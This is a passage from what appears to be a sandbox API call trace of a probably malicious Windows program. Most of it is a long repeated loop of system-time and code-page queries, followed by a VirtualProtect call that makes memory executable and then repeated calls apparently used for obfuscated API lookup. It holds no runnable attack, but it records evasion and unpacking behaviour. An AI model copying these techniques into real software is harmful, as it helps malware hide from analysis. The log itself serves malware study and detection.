lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.215] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.215] GetACP () returned 0x4e4 [0060.215] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.216] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.216] GetACP () returned 0x4e4 [0060.216] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.217] GetACP () returned 0x4e4 [0060.217] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.217] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.218] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.218] GetACP () returned 0x4e4 [0060.218] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.219] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.219] GetACP () returned 0x4e4 [0060.219] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.220] GetACP () returned 0x4e4 [0060.220] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.220] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.221] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.221] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.221] GetACP () returned 0x4e4 [0060.346] VirtualProtect (in: lpAddress=0x245aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.347] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.347] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.347] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.348] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.348] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.348] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.349] AddAtomA (lpString=0x0) returned 0x0 [0060.349] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.349] GetCurrentDirectoryA (in: nBufferLength=0x0, 